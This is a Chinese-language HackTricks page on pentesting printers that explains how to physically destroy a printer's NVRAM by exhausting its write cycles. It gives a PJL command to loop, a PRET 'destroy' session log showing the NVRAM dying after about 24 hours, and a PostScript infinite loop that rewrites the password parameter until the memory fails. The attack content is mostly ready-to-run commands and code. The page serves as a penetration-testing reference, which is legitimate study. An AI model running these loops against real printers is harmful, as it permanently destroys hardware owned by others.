hacktricks/network-services-pentesting/pentesting-printers/physical-damage.md

4 KiB
Raw Blame History

从零到英雄学习AWS黑客技术通过 htARTE (HackTricks AWS 红队专家)

支持HackTricks的其他方式

打印机和其他嵌入式设备的长期设置存储在非易失性内存(NVRAM)中,传统上要么作为 EEPROM 或作为 闪存 实现。这两个组件都有有限的寿命。如今闪存供应商保证大约100,000次重写之前不会发生写入错误。

PJL

为了实际测试破坏NVRAM写功能可以连续设置不同X值的长期副本数量:

@PJL DEFAULT COPIES=X

通常在停止允许写入更多NVRAM参数之前参数会被固定为出厂默认值而所有变量仍然可以使用@PJL SET...命令为当前打印任务进行更改。

使用 PRET

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11

PostScript

对于PostScript需要在currentsystemparams字典中找到一个在重启后依然存在的条目因此必须存储在某种NVRAM中。一个好的候选项是PostScript密码。
PostScript可以运行一个脚本来损坏它自己的NVRAM

/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop

更多关于这些技术的信息可以在 http://hacking-printers.net/wiki/index.php/Physical_damage 找到。

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客技术

支持HackTricks的其他方式